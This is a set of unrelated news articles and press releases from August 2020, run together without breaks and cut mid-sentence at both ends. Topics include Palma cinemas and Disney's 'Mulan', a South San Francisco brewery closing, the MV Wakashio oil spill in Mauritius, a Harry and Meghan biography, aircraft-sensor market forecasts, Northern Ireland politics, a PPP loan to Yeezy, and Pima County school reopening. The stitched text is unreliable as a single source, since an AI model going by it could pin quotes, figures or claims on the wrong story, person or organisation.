with protesters once against calling for the monument to be moved Most of Palma's cinemas have been open for a few weeks now, including Ocimax, Artesiete, Cinesa and CineCiutat and all of them have health and security measures in place. Premieres are few and far between at the moment and cinemas are reliant on premieres to generate interest in new films, so Disney's recent decision to stream the premiere of 'Mulan' has generated concern in the Sector and sparked fears that the studio may be setting a precedent. The Federation of Cinemas of Spain, or FECE claims that Disney has "misled the public" with its decision. In the summertime family cinema works and we dont understand Disney's position." said Juan Salas from Aficine. In the first week we reopened we had an audience of 2,300 and recently that increased to 7,500-8,000. The numbers were boosted by the premier of Father There Is Only One 2 by Santiago Segura and Salas says he's encouraged but saddened by Disneys decision over 'Mulan', which could stem the upward trend in Cinemas. Strong Demand The FECE statement also mentions Santiago Segura's film, saying its success demonstrates a strong demand from the public to see content on the big screen, and points out that it is necessary to wait until the Sector emerges from the crisis in the USA, which may be too late for the European Sector. Salas does not believe that other studios will start streaming premieres just because Disney is streaming 'Mulan'. We live in an atypical situation and sometimes decisions are correct and sometimes they are not, he said. Javier Pachon, says CineCiutat is the only "non-mall" cinema that has dared to open, and claims the results are positive, partly thanks to Atlantis and the success of the Cinema Rodat outdoor film series. "Although there is a public desire for cinema thats not enough, there must be work in the Industry and Institutional support." Augusta and Rivoli tend to have a more specific audience and Aficine says that theres not enough premieres or customers to warrant opening them right now, but that could all change when a new batch of films is released in September. For more coverage, visit our complete coronavirus section here. A South San Francisco brewery known for its craft beers has permanently closed as Bay Area breweries continue to feel the weight of the pandemic. Armstrong Brewing announced it would close up shop without the possible chance of opening at a later date. "To our loyal patrons and guests, we are sad to announce that we will not be reopening for business and have made the difficult decision to close Armstrong Brewing Co. due to the restriction COVID has placed on small businesses like ours," the message read. ALSO: SF Italian restaurant that transformed into general store calls it quits Armstrong Brewing had remained closed since mandatory shelter in place orders. During that time, it began to sell merchandise online that included sweaters and beanies. But despite having a food menu, the business did not reopen for takeout. In California, bars and breweries have been allowed to reopen to sell sealed cocktails and beers as long as they are sold with meals. Its unclear why the South San Francisco brewery did not go for that option. Armstong Brewing is one of many Bay Area breweries and bars that have struggled in recent months. While some have found creative ways to reopen, including contactless ordering systems as seen at Temescal Brewing in Oakland, others havent been as lucky. Among them includes Independent Brewing Company which closed in early July. Located at 415 Grand Ave., Armstrong Brewing first opened in 2015 and was known for its unique brews served on a rotating menu. Past beers included a banana pancake stout and one called, "drink the rainbow," a light beer brewed with Skittles. On its business website, Armstrong Brewing claimed it was the "oldest brewery in town" and first post-prohibition brewery in South San Francisco. The South San Francisco brewery thanked its customers over the years and shared it was proud of its team that contributed to our brewery's success over the years. ALSO: Toronado, the popular San Francisco beer bar, is (almost) ready to reopen "We hope that you remember our brewery and taproom as a place where friendships were fostered, special events held, the best bay area [sic] trivia nights, fun times, and a diverse selection of excellent craft beers all produced in house." SFGATE reached out to Armstrong Brewing for comment but did not hear back by the time of publication. Armstrong Brewing is located at 415 Grand Ave. in South San Francisco. Susana Guerrero is an SFGATE digital reporter. Email: Susana.Guerrero@sfgate.com | Twitter: @SusyGuerrero3 MORE CORONAVIRUS COVERAGE: Sign up for The Daily newsletter for the latest on coronavirus here. Tahoe father implores tourists to stop visiting after son falls critically ill What percentage of Californians have had COVID-19? 40% of people with coronavirus have no symptoms. Might they be the key to ending the pandemic? Pelosi is playing hardball on coronavirus relief. She thinks shell win. CAs top health official: Glitch fixed but theres a backlog of up to 300,000 records Description GIS 11 August 2020: A site visit was effected, yesterday, by the President of the Republic, Mr Prithvirajsing Roopun, and the Minister of Environment, Solid Waste Management and Climate Change, Mr Kavydass Ramano, at the Blue Bay Marine Park and at Riviere des Creoles, following the shipwreck of the Japanese bulk carrier MV Wakashio at Pointe-d'Esny. The shipwreck has resulted in an oil spill and an environmental emergency has been declared. President Roopun also attended the meeting of the National Crisis Committee of the National Emergency Operations Command at the Blue-Bay Fisheries Department. He expressed concern as regards the oil spill caused by MV Wakashio, adding that the incident is a "great ecological disaster". He recalled that the situation has deteriorated considerably since last Friday. The President pointed out that this incident is all the more unfortunate because it comes during the Covid-19 crisis where the mobilisation of experts is disrupted and the weather over the past month has been very capricious. Mr Roopun expressed gratitude to the friendly countries which did not hesitate to mobilise and assist Mauritius. He also praised the contribution of the Police, the authorities and the hundreds of volunteers who are helping to contain and pump out the oil that has spilled at sea. For his part, Minister Ramano said that the pumping of fuel oil on board the ship has resumed. He noted that this exercise was disrupted by the unfavourable weather conditions and rough seas. He also pointed out that the first faulty tank on board MV Wakashio has been completely emptied, adding that the other tanks have already been secured. The authorities, he added, will continue with the pumping operations. Mr Ramano indicated that 550 to 600 tonnes of oil have already been pumped from the bulk carrier. The MV Wakashio ran aground on 25 July on the Pointe d'Esny reef. The bulk carrier was carrying 200 tonnes of diesel and 3,800 tonnes of fuel oil. Last Thursday, the authorities confirmed that a crack in the ship's hull was leaking fuel oil. Prince Harry knew Meghan Markle was his soulmate when she went for a pee in the woods on their first trip abroad, it is revealed in their bombshell biography, Finding Freedom, which hits shelves today. The much-anticipated book, co-written by Omid Scobie and Carolyn Durand, lifts the lid on the the events that led to the Duke and Duchess of Sussex deciding to take a step back from the royal family. Among the revelations is a story about a trip the couple made to Botswana for a secret luxury camping getaway, six weeks after their first date in July 2016. Prince Harry knew Meghan Markle was his soulmate when she went for a pee in the woods on their first trip abroad, it is revealed in their bombshell biography The book says: 'Harry was delightfully surprised by Meghan's down-to-earth attitude. 'While camping she cleaned her face with baby wipes and happily wandered into the woodlands if she needed a bathroom break.' Harry, 35, and Meghan, 39, insist they had no input on the controversial publication, and were not spoken to directly by Scobie, who has close ties to the Duchess, but the book does contain intimate details from the beginning of their romance. It adds that Harry enjoyed a classic bacon and egg breakfast on the glamping trip to Meno A Kwena, where they stayed in a 1,500-a-night tent complete with en-suite bathroom and private terrace. His future wife, however, opted to begin the day with a bowl of fruit and yoghurt, with her morning ritual traditionally consisting of hot water with lemon followed by steel cut oats with bananas and agave syrup. She is said to have encouraged the prince to adopt a healthier lifestyle right from the start of their relationship, introducing him to yoga and meditation. Finding Freedom: Harry, Meghan, and the Making of a Modern Royal Family by Omid Scobie and Carolyn Durand is out today The book claims Harry was impressed that she only brought one backpack for the entire trip, which included sunscreen to protect her fair-skinned new partner. Meghan is said to have told a friend after returning from Africa 'just completely spellbound' that 'I've never felt that safe...close to someone in such a short amount of time'. The book also explores the couple's first date, which they enjoyed at a luxury suite at Soho's Dean Street Townhouse in the company of mutual friends. Shortly after, Harry described her as 'the most beautiful woman I've seen in my life', as the pair then met again at the same venue the following night, but this time just the two of them, where they flirted throughout the evening before he went home alone. The book says: 'Still their chemistry had been electric throughout the meal as they both flirted. A touch of an arm here, direct eye contact there.' This week it was revealed that Prince Charles has remained in regular contact with his son despite being being hurt by revelations in the upcoming biography. The biography offers an insights into Harry and Meghan's relationships with his brother and sister-in-law, his father and the Royal Family as a whole. However, the Prince of Wales, who was said to have been hurt by some of the claims in the book, has been in regular contact with Prince Harry in the hope that the door can be kept open for a return, the Sun reports. CHICAGO, Aug. 11, 2020 /PRNewswire/ -- According to the new market research report "Aircraft Sensors Market by Connectivity, Platform (UAV, EVTOL, Fixed, Rotary), Sensor (Pressure, Temperature, Speed, Proximity, Gyro) Application (Engine, Door, Environmental Control), End Use (OEM, Aftermarket), Region - Global Forecast to 2025", published by MarketsandMarkets, the Aircraft Sensors Market is projected to grow from USD 3.5 billion in 2020 to USD 4.4 billion by 2025, at a CAGR of 4.8% during the forecast period. Increase in aircraft orders is one of the key factors driving the aircraft sensors market. According to the Boeing Current Market Outlook 2018, the demand for commercial aircraft will grow significantly in the future. Rising military expenditure of emerging economies will also contribute to the growth of the aircraft sensors market. Ask for PDF Brochure: https://www.marketsandmarkets.com/pdfdownloadNew.asp?id=53630527 Based on application, the flight deck & flight controls segment of the aircraft sensors market is estimated to account for the largest market share during the forecast period. Flight deck & flight controls is expected to be the largest application segment of the aircraft sensors market during the forecast period. The rise in demand for new aircraft, high ASP of premium quality sensors used in flight deck & flight control, and increased adoption rate of these sensors in commercial passenger aircraft are expected to drive the flight deck & flight controls segment during the forecast period. Based on platform, the UAV segment of the aircraft sensors market is projected to grow at the highest CAGR from 2020 to 2025. Based on platform, the UAV segment is projected to grow at the highest CAGR during the forecast period. Sensors such as pressure sensors, accelerometers, flow sensors, and gyroscopes are integral components of UAVs. The increasing use of UAVs in various military applications such as monitoring, surveying & mapping, and combat operations is also contributing to the growth of the aircraft sensors market across the globe. The wireless sensors segment of the aircraft sensors market is projected to grow at a higher CAGR from 2020 to 2025. Based on connectivity, the wireless sensors segment of the aircraft sensors market is projected to grow at the highest CAGR during the forecast period. Wireless sensors reduce the installation and maintenance costs of sensors for an aircraft. These sensors also reduce subsystems design complexity of the aircraft. Increased deployment of structural health monitoring systems in aircraft, which use IoT technologies, is expected to drive the growth of the wireless sensors segment during the forecast period. Browse in-depth TOC on "Aircraft Sensors Market" 389 - Tables 70 - Figures 378 - Pages Inquiry Before Buying: https://www.marketsandmarkets.com/Enquiry_Before_BuyingNew.asp?id=53630527 North America is estimated to be the largest market for aircraft sensors in 2020. North America is expected to lead the aircraft sensors market during the forecast period, owing to the presence of major aircraft manufacturers, such as Boeing (US), Bombardier (Canada), Lockheed Martin (US), Bell Helicopter (US), and Sikorsky Aircraft (US), coupled with the growth of the aviation industry in the region. The increasing use of military aircraft for border and maritime surveillance activities in countries such as the US and Canada is driving the growth of the aircraft sensors market in the North American region. Key players operating in the aircraft sensors market are Honeywell International, Inc., (US), TE Connectivity Ltd. (Switzerland), Ametek, Inc. (US), General Electric Company (US), Meggitt PLC (UK), Safran Electronics & Defense (France), Woodward Inc. (US), Thales Group (France), and Zodiac Aerospace (France). These companies have well-equipped manufacturing facilities and strong distribution network across North America, Europe, and Asia Pacific. Related Reports: Military Sensors Market by Application (Intelligence & Reconnaissance, Communication & Navigation, Combat Operations, Electronic Warfare, Target Recognition, Command and Control, Surveillance), Platform, Component, Region - Global Forecast to 2025 About MarketsandMarkets MarketsandMarkets provides quantified B2B research on 30,000 high growth niche opportunities/threats which will impact 70% to 80% of worldwide companies' revenues. Currently servicing 7500 customers worldwide including 80% of global Fortune 1000 companies as clients. Almost 75,000 top officers across eight industries worldwide approach MarketsandMarkets for their painpoints around revenues decisions. Our 850 fulltime analyst and SMEs at MarketsandMarkets are tracking global high growth markets following the "Growth Engagement Model - GEM". The GEM aims at proactive collaboration with the clients to identify new opportunities, identify most important customers, write "Attack, avoid and defend" strategies, identify sources of incremental revenues for both the company and its competitors. MarketsandMarkets now coming up with 1,500 MicroQuadrants (Positioning top players across leaders, emerging companies, innovators, strategic players) annually in high growth emerging segments. MarketsandMarkets is determined to benefit more than 10,000 companies this year for their revenue planning and help them take their innovations/disruptions early to the market by providing them research ahead of the curve. MarketsandMarkets's flagship competitive intelligence and market research platform, "Knowledge Store" connects over 200,000 markets and entire value chains for deeper understanding of the unmet insights along with market sizing and forecasts of niche markets. Contact: Mr. Aashish Mehra MarketsandMarkets INC. 630 Dundee Road Suite 430 Northbrook, IL 60062 USA: +1-888-600-6441 Email: sales@marketsandmarkets.com Visit Our Web Site: https://www.marketsandmarkets.com Research Insight: https://www.marketsandmarkets.com/ResearchInsight/aircraft-sensors-market.asp Content Source: https://www.marketsandmarkets.com/PressReleases/aircraft-sensors.asp Logo: https://mma.prnewswire.com/media/660509/MarketsandMarkets_Logo.jpg SwRI receives $1 million Air Force contract to sustain aging aircraft SAN ANTONIO -- Aug. 10, 2020 -- Southwest Research Institute (SwRI) has received a $1 million contract from the U.S. Air Force, with Sabreliner Aviation, to continue struc-tural analysis and other maintenance work on a fleet of military aircraft, the Fairchild Republic A-10 Thunderbolt II. "For the past roughly 20 years, SwRI has been involved with maintaining and monitor-ing the structural integrity of the A-10," said SwRI Principal Engineer Luciano Smith. "Work like this is vital to extending the lifetime of these aircraft." The A-10 came into service in the late 1970s, and the fleet is currently set to continue service until at least 2040. SwRI's structural engineers perform damage tolerance analy-sis for military and commercial aircraft and provide the information necessary to safely and effectively manage the structural health of their fleets. In 2002, SwRI developed a flight data recording system that is still utilized on the air-craft to help engineers understand the structural stresses associated with various flight maneuvers. "It's important to understand the stresses on the aircraft because that will tell us where cracks will grow and how fast," Smith said. "That also feeds into deciding how often inspections are needed." Smith and his colleagues also characterize materials to better understand crack growth. Controlled testing of aircraft materials reveals how cracks originate and determines how quickly they grow. Using NASGRO software, which SwRI first developed with NASA in the 1980s, engineers analyze fracture and fatigue crack growth in structures and mechanical components. "As these aircraft age and are updated, we're updating and modernizing our analysis methods," Smith said. "Without the work we do, big safety issues could arise fairly quickly. It's important to think a few steps ahead." SwRI has provided technical engineering support to the Air Force for several decades, including support for the A-10 Thunderbolt II and the T-38 Talon programs at Hill Air Force Base. At Tinker Air Force Base, SwRI has supported sustainment for aircraft sub-systems, including propulsion, avionics, electrical, mechanical, electromechanical and hydraulics technology. Staff expertise has also helped solve problems associated with information security and electronics systems at Robins Air Force Base. ### For more information, visit https:/ / www. swri. org/ industries/ aerospace-aircraft Release url with: https:/ / www. swri. org/ press-release/ air-force-contract-to-sustain-aging-aircraft?utm_source= EurekAlert!&utm_medium= Distribution&utm_campaign= AFB-Contract-PR Client service link: https:/ / www. swri. org/ industries/ aerospace-aircraft?utm_source= EurekAlert!&utm_medium= SwRI&utm_campaign= AFB-Contract-PR This story has been published on: 2020-08-11. To contact the author, please use the contact details within the article. It all seemed to be going so well. The North South Ministerial Council on July 31 (the first plenary session in almost four years) had been civil and useful, with both sides pleased about progress on the response to Covid-19, New Decade, New Approach commitments and dealing with the implications of the UK's withdrawal from the EU in a few months' time. There wasn't a peep from Micheal Martin about the Shared Ireland Unit (SIU) in the Irish Government's Programme for Government, leading Arlene Foster to say: "It does not threaten our constitutional position, or what we believe in, so I don't feel threatened at all by the unit." The day ended - as all these events are meant to end - with smiles, a socially-distanced photo opportunity, a promise to see you all soon and a fairly bland joint communique. But a week later, in an interview with the Irish Independent, the Taoiseach announced that he planned to "beef up" the SIU because "there are two distinct political jurisdictions born out of the Good Friday Agreement and we have to acknowledge the reality of that". Had he stopped at that point it would probably have been okay; for at that point it was just a vague indication that he was minded to do something. Politicians say things like that all the time in interviews knowing full well it's flannel. But Micheal Martin went further. Much, much further. He noted the importance of English nationalism to the Brexit vote and suggested that Scotland could maybe opt for independence. Then he added: "(But) what happens if England gets turned off Northern Ireland? We've got to be thinking all this through." Are we to conclude, therefore, that beefing up the SIU indicates his willingness to begin the preparation for Irish unity? And, if so, does he intend to include unionism in this "beefing-up" process? He didn't, as far as I know, text, tweet, email, call or Zoom Arlene to let her know what he had said. Even an "it's for the local optics" message would have dampened concerns at her end. But his failure to do any of that suggests he is serious. If so he is putting himself firmly in the Sinn Fein camp (which maybe he thinks he needs to after recent opinion polls show Fianna Fail falling further behind Mary Lou McDonald). It may also mean that the SDLP's recently launched New Ireland Commission (within which Colum Eastwood hopes to engage "political unionism"), which Micheal Martin would almost certainly have given an imprimatur to, is an integral part of the "beefing-up" strategy. More importantly, Micheal Martin would have been well aware that his comments would annoy the hell out of unionist leaders, most of whom welcomed his elevation to Taoiseach. Their relationship with Leo Varadkar had been, for most of the time, fairly tetchy, with even the Brexit sceptics worried that he was playing the "England's misfortune is Ireland's opportunity" card too eagerly. Most of them viewed Micheal Martin in a more benign light, believing that he wasn't keen on adding to his in-tray problems by going out of his way to irritate unionism at an already anxious time for them. Crucially, Micheal Martin knows that there cannot be a united Ireland without majority endorsement in a border poll and he knows that the poll requires the approval of the British Government. So, when he suggests that England could get "turned off" Northern Ireland, is he further suggesting that the Government would push for a border poll? It's an important question, because while Arlene Foster was correct to respond to him that "the principle of consent determines Northern Ireland's place in the UK", is Micheal Martin also correct to hint that a combination of English nationalism, Scottish independence and a PM who seems, at best, disinterested in Northern Ireland would be the ultimate determining factor? At the heart of Foster's response to Micheal Martin is the argument that the rest of the UK cannot "sever" its constitutional links to Northern Ireland. Yet, the very Prime Minster in whom she placed so much faith didn't so much as blink when he let her down over his "no border in the Irish Sea" pledge. Hand on heart, how far does she, or any other unionist for that matter, trust Boris Johnson to prioritise Northern Ireland's constitutional position? Micheal Martin's comments suggest that he doesn't regard the PM as an unambiguous unionist. Indeed, his "what if?" question re England getting "turned off" Northern Ireland is a question I have heard raised within unionist, loyalist and civic unionist circles. It's the asking of that question which has convinced elements within nationalism that there are enough ambivalents, persuadables and agnostics from a pro-Union background to deliver a majority for unity in a border poll. John Cole, a former political editor for the BBC, once told me: "When a politician says something unexpected you must immediately ask yourself why he said it and why he chose that moment to say it." I don't know why Micheal Martin said what he said, although I'm pretty sure he knew the impact it would have on unionism. I don't know why he chose to say it a few days after what Arlene Foster described as a "positive" North South Ministerial Council plenary. But I do know that he has given the very clearest impression of interfering in local Northern Ireland politics and playing the "you're really a place apart" card. Of course, whether it all amounts to a hill of beans is anybody's guess. "Beefing-up" can take many forms and mean many things, and he has so many other problems on his plate that I'm not convinced he would be stupid enough to open a new battle front with unionism inside and outside the Executive. That said, within a few weeks of taking office he has chosen to have a pop at unionism - a very odd thing to do when the "two distinct political jurisdictions" really do need to be working together. WASHINGTON, Aug. 11, 2020 /PRNewswire/ -- The Demex Group, a technology company that has pioneered a new paradigm to customize and deliver climate-resilience through financial risk solutions on a global scale, today announced it has raised $4.2 million in Seed funding from leading financial services investors Anthemis and IA Capital Group. Operating at the intersection of banking and insurance, The Demex Group brings together decades of experience across technology, finance, risk management, capital markets, commodities, insurance, and climate science to develop cutting-edge technology and customized financial solutions that mitigate unique weather risks and seize climate-linked business opportunities. The funds will be used to build out the Demex team and to support go-to-market for municipalities and enterprise customers, which include Fortune 500 property managers with highly volatile year-to-year snow-removal expenses. The Global Risks 2020 report produced by the World Economic Forum analyzes dozens of significant risks, including weapons of mass destruction, geopolitical instability, economic crashes, and others. For the first time, "extreme weather events," "natural disasters," and "failure of climate change mitigation and adaptation" are in the top five global risks for both impact and likelihood of occurrence within the next ten years. Extreme weather leads to dramatic fluctuations in revenue, commodity prices, and other operating costs. Yet existing risk management approaches were designed for a different era. They are ill-equipped today to provide reliable climate-linked financial security. The Demex platform for climate resiliency is a robust end-to-end ecosystem which shields customers from the financial surprises of volatile weather empowering them to grow their businesses. Anthemis' Ruth Foxe Blader said "Corporates, large and small, need balance sheet protection against non-catastrophic climate risks. Demex is, by far, the most sophisticated solution to this problem existing in the market, in terms of calibrating and transferring climate risk. They will transform how the insurance industry thinks about weather resilience." Matt Perlman, Partner at IA Capital Group said "Managing operational climate risk is quickly becoming an imperative for businesses across a growing array of industries. The Demex Group's ability to analyze a client's specific exposures in a very granular way and generate a precisely calibrated risk transfer solution goes far beyond traditional weather derivatives and represents the frontier of parametric insurance." Munich Re Trading LLC (MRTL) provides weather risk transfer solutions for industry sectors impacted by increased weather variability. Previously, MRTL and Demex developed select customized weather index-linked hedging instruments to help businesses manage non-catastrophic weather risks. MRTL continues to provide risk capital and back office support to Demex as it innovates in the climate and weather risk management industry. "Innovation and technology can help businesses become more resilient and better manage the impacts of extreme weather," said David Stevenson, CEO and President, MRTL. "We are excited to witness the next chapter as our colleagues grow and expand their business to help customers mitigate the risks associated with unpredictable snowfall." Nephila Climate, the weather and climate risk-focused business unit of Nephila Capital Ltd, has partnered with Demex to offer weather risk capacity that backs the financial products that Demex creates for its clients. "The technology that Demex has developed, combined with its knowledge of weather and financial risk, can help institutions better understand and manage the risks they hold," said Matt Coleman, Director of Strategic Partnerships at Nephila Climate. Demex Founder and CEO, Ed Byrns said, "Our customers know that extreme weather drives unwanted fluctuations on their bottom line. We are building a world where financial resiliency to climate is as simple as the tap of a credit card." About The Demex Group The Demex Group is a team of seasoned risk advisors who leverage advanced technology and rich data to manage climate-driven financial volatility. With increasingly variable weather conditions, Demex offers businesses the ability to manage risk and create opportunity. The Demex Solutions Center is the firm's core technology. It powers complex data analysis required to: Rapidly deliver customized transactional platforms for clients and risk providers. Creatively analyze client exposures and establish bespoke risk solutions. Efficiently transfer risk to pre-certified risk carriers. Proactively deepen business insight through solutions monitoring and learning loops. Demex shields customers from the financial surprises of volatile weather so that they can grow their businesses. Learn more at www.TheDemexGroup.com About Anthemis Anthemis cultivates change in financial services by investing in, growing and sustaining businesses committed to improving the world. We are founded on three guiding principles authentic collaboration, virtuous cycle outcomes, and diversity and inclusivity and our deep understanding of markets and models, passion for emerging technology and values inspire everything we do. By creating fertile ground for a diverse group of startups, investors, entrepreneurs, institutions, academics and visionaries to converge, we believe we can solve the financial services world's most pressing challenges faster, better and for the benefit of all. Learn more at www.anthemis.com About IA Captial IA Capital is the longest-tenured independent venture capital firm focusing on insurtech. Based in New York City, IA Capital has a two-decade track record of successfully partnering with innovative early and growth stage companies in insurance and financial services more broadly. IA is currently investing its sixth, seventh and eight venture capital funds and manages strategic venture capital programs for 15 insurers. Learn more at https://www.iacapgroup.com About Munich Re Munich Re is one of the world's leading providers of reinsurance, primary insurance and insurance-related risk solutions. The Group consists of the reinsurance and ERGO business segments, as well as the asset manager MEAG. Munich Re is globally active and operates in all lines of the insurance business. Since it was founded in 1880, Munich Re has been known for its unrivalled risk-related expertise and its sound financial position. It offers customers financial protection when faced with exceptional levels of damage from the 1906 San Francisco earthquake to the 2019 Pacific typhoon season. Munich Re possesses outstanding innovative strength, which enables it to also provide coverage for extraordinary risks such as rocket launches, renewable energies, cyber attacks or pandemics. The Group is playing a key role in driving forward the digital transformation of the insurance industry, and in doing so has further expanded its ability to assess risks and the range of services that it offers. Its tailor-made solutions and close proximity to its customers make Munich Re one of the world's most sought-after risk partners for businesses, institutions, and private individuals. Learn more at www.munichre.com About Nephila Capital Nephila Capital Ltd is a leading investment manager specializing in (re)insurance and weather risk. Nephila Climate is a dedicated weather and climate risk transfer and ESG-driven business. Nephila offers a broad range of investment products focusing on instruments such as insurance-linked securities, catastrophe bonds, insurance swaps, and private transactions. Nephila has approximately $9.5 billion in assets under management as of July 1, 2020 and is headquartered in Bermuda, with offices in San Francisco, CA, Nashville, TN and London, UK. There are currently 139 employees across its various business lines with expertise in finance, earth sciences, catastrophe modeling, risk management and traditional underwriting. Learn more at www.nephila.com and www.nephilaclimate.com Media Contact: Stephen Bennett 202-470-1999 [email protected] SOURCE The Demex Group The donation was conveyed to the Female Committee in Support of the Military Family (COFA-FAM). Jessica Rocha, the head of COFA-FAM, will distribute the ventilators to military health centers so that they can cope with the recovery process of COVID-19 patients supported by better equipment. Both Celiz and Rocha thanked Germany for its support to the Peruvian Army and noted that the aid will be of vital importance for patients. The aid, which was made available to the Peruvian Army, is proof of Germany's solidarity with the South American nation. "To Germany, the Republic of Peru has been a reliable partner for many years, and we want to support it actively in the fight against COVID-19 , in a direct and sustainable manner," the German Embassy in Lima stated. Insurance companies temporarily estimate losses from the explosion in the port of Beirut at $ 3 billion - about the same as from the explosions in the port of Tianjin in August 2015, Splash reported. Although the explosion in Beirut on Tuesday last week was more powerful than at the Chinese port five years ago, more expensive cargo, including thousands of cars, was destroyed in Tianjin. The insurance amount claims following the accident in the port of Tianjin was until today the largest in the history of port insurance in peacetime, TASS reported. According to the latest data, over 200 people have died in Lebanon, many are missing. The Beirut governor said Monday that many of the victims who had no ties to local residents, such as drivers or foreigners who worked at the port, could not be identified. Mekedatu padayatra: After Karnataka HC chides Cong, Siddaramaiah says permission not taken for protest Rahul Gandhi suggests Centre to implement MGNREGA, NYAY to help poor India oi-Ajay Joseph Raj P New Delhi, Aug 11: It looks like Congress leader Rahul Gandhi will not stop raising his voice until the deadly pandemic comes to an end. On Tuesday, the Congress leader urged the Centre to implement the government's rural employment guarantee scheme and his party's 'Nyuntam Aay Yojana' (NYAY) as an economic measure for the poor in urban and rural areas of the country. In a tweet, Gandhi talked about the Mahatma Gandhi National Rural Employment Guarantee Scheme (MGNREGA) as well as NYAY, a minimum income guarantee scheme proposed by the Congress party as a promise ahead of the Lok Sabha elections last year. 'Welcome back': Cong leaders hail Rajasthan crisis 'resolution' after Pilot-Rahul meet Taking to Twitter, Rahul Gandhi said, "The implementation of schemes like MGNREGA for the victims of unemployment in cities and NYAY for the poor people across the country is necessary. It will also be very beneficial for the economy." The Congress leader also attached a graph showing the growth in the demand for jobs under MGNREGA from May 2013 to the corresponding month this year. Independence Day: Indian flag to unfurl at Times Square & more news | Oneindia News Congress leader booked for flouting COVID-19 rules "Will the suit-boot-robbery government understand the pain of the poor?" he asked. The Congress' NYAY scheme promises poor households Rs 72,000 a year, no taxes will be raised and the middle class won't have to bear the brunt of funding this scheme. It can be seen that Gandhi had promised then that 20 per cent of the poorest families in the country would get Rs 72,000 each annually under the scheme if the party win the parliamentary elections. The scheme was envisaged to cover five crore families and benefit nearly 25 crore people and each family would earn at least Rs 12,000 every month. The Congress party had recommended the implementation of its NYAY scheme in March as well after Prime Minister announced a 21-day nationwide lockdown to prevent the spread of the COVID-19 pandemic. For Breaking News and Instant Updates Allow Notifications Story first published: Tuesday, August 11, 2020, 10:32 [IST] As of August 2020, Kanye Wests net worth is just over $1 billion. Since creating his brand Yeezy in 2009, Wests net worth has skyrocketed. On top of that, West makes millions of dollars off of various investments, and from his music. His music, fame, business ventures, and combined assets with Kim Kardashian West have truly placed him in the top echelons of the American elite. Yeezy really cant be compared with small businesses like local bars or landscaping companies. But according to reports from the Small Business Association, Yeezy received a PPP loan of at least $2 million. How did such a large company end up with money intended for small businesses? Kanye West | Theo Wargo/Getty Images Yeezys For a long time, Kanye West has had ambitions of becoming a fashion designer. The first Yeezy sneakers were released in a partnership with Nike in 2009; West started collaborating with Adidas in 2013 and has maintained that partnership since. Kanye Wests fame, the design of the shoes, and his limited releases of new designs have made Yeezys a massive success. Kanye West knows how to appeal to streetwear and sneakerhead cultures, and new Yeezy releases tend to sell out incredibly quickly. Regardless of your opinions of Kanye West the person, he knows how to draw popular attention. What are PPP loans? PPP stands for Paycheck Protection Program, and according to the Small Business Associations website it is designed to provide a direct incentive for small businesses to keep their workers on the payroll. Its a two-year loan with 1% interest, and payments are deferred for six months to make it easier for businesses to make payments. The maximum amount a business can receive is 125% of payroll costs or $10 million. A certain amount of the loan has to be used for payroll, and the Small Business Association expects that business owners use the remainder for business costs like rent and utilities. If businesses keep employees at their pre-pandemic salaries, they can even have the loan forgiven. How did Kanye West end up with a PPP loan? RELATED: Kanye West is on the Ballot in Oklahoma Despite Rumors His Campaign Has Ended After various groups requested more transparency from the Small Business Association, the Treasury Department listed the companies that received a loan larger than $150,000. With these releases, the public was able to learn about the larger companies that received PPP loans. Among these businesses was Yeezy LLC, according to NBC News. Although it may be problematic that such a large company would receive a loan while small businesses are struggling, this loan in theory didnt go to Wests personal funds. According to the data released by the Treasury Department, this loan did help 106 employees keep their jobs. However, its understandable that people may still be angry about this. In April, when the Small Business Association gave out their first round of loans, they very quickly ran out of funding. Legally, however, Yeezy LLC may be a small business. The legal definition of a small business in the United States depends on many factors. A companys revenue and number of employees together determine if a business is a small business or not. The businesses that receive PPP loans have to employ less than 500 people, so despite the size and wealth of Yeezy and Kanye West, legally speaking, Yeezy LLC is a small business, according to Smart Asset. While Yeezy LLC may be legally entitled to a PPP loan, the high amounts of money given to some businesses are nevertheless controversial. Beyond Kanye West being a billionaire and not the owner of a mom-and-pop business, Wests connections to President Donald Trump have caused people to be extra suspicious of Yeezys large loan. That being said, the loan may have saved several employees jobs, making this issue more complex than it may seem at a glance. Canadian Finance Minister Bill Morneaus job appeared uncertain on Tuesday after reports he had clashed with Prime Minister Justin Trudeau, prompting analysts to fret about Ottawa becoming distracted as it tackles the coronavirus crisis. The Globe and Mail cited unnamed sources as saying Trudeau was uncertain whether Morneau was the right person to handle the recovery. Morneau was unhappy at how much money Trudeau wanted to spend to deal with the outbreak, it added. Morneau, 57, has been finance minister since the ruling Liberals took power in late 2015. To have turnover in such a key role in the middle of an economic crisis ... could rattle investor confidence in Canada and in turn weigh on the Canadian dollar, said Adam Button, chief currency analyst at ForexLive. The report was the first public sign of tension inside government over how to handle the pandemic. Canada has provided more than C$212 billion ($159.7 billion) in direct Covid-19 support and nearly 14% of gross domestic product in total support. Also read: Canadas GDP fell by nearly 12% in April due to Covid-19 lockdown Canadas budget deficit this fiscal year is expected to hit C$343.2 billion, the largest shortfall since World War Two. Trudeaus office, asked whether he still had faith in Morneau, said it would respond later. Morneaus office did not reply to a request for comment. Morneau is also under pressure over his failure to promptly repay travel expenses covered for him by a charity at the heart of an ethics investigation. Although Morneau apologized, opposition legislators say he must resign. The bus has been rolling toward Mr. Morneau for weeks. Market participants understand that he has become a major political liability, said Karl Schamotta, chief market strategist at Cambridge Global Payments. But he added: Rocking the canoe might increase downside risk for the loonie (the Canadian dollar) and for markets more generally. And a distracted government is the last thing the economy needs, he said. Potential replacements include Deputy Prime Minister Chrystia Freeland, Foreign Minister Francois-Philippe Champagne and Mark Carney, a former head of both the Bank of Canada and Bank of England, the paper said. Trudeau is also being probed over possible ethics violation after the charity - which has ties to his family - was chosen to manage a major student grant program. He apologized but denied the charity has received any preferential treatment over the deal, which has been scrapped. ($1=1.3279 Canadian dollars) Schools will be unable to open safely even on a limited basis for at least six weeks, Pima County health officials told local education leaders Monday. Health officials briefed area school district superintendents on metrics, that so far are unmet, to decide when kids can safely return to schools, during a Back to School Committee meeting. The number of confirmed coronavirus cases in Pima County has risen dramatically since schools were closed in March, including the number of cases in children and young adults under 20. The countys chief medical officer Dr. Francisco Garcia said he wasnt seeing any cases in children when schools closed, but the latest statistics show over 2,000 confirmed cases among young people in Pima County. A lot is still not understood about how COVID-19 affects children or how readily they transmit it, which is part of what makes reopening schools so complicated. To be clear, were in an evidence-free kind of area, Garcia says. But even so, we have a responsibility to figure out how best we can bring children back into school environments in ways that are safe for them, for the teachers and support staff that are serving them, for their families that house and take care of them. There are nine criteria the county has already been tracking for months, in areas of disease as well as capacity in health care and public health. Rated from 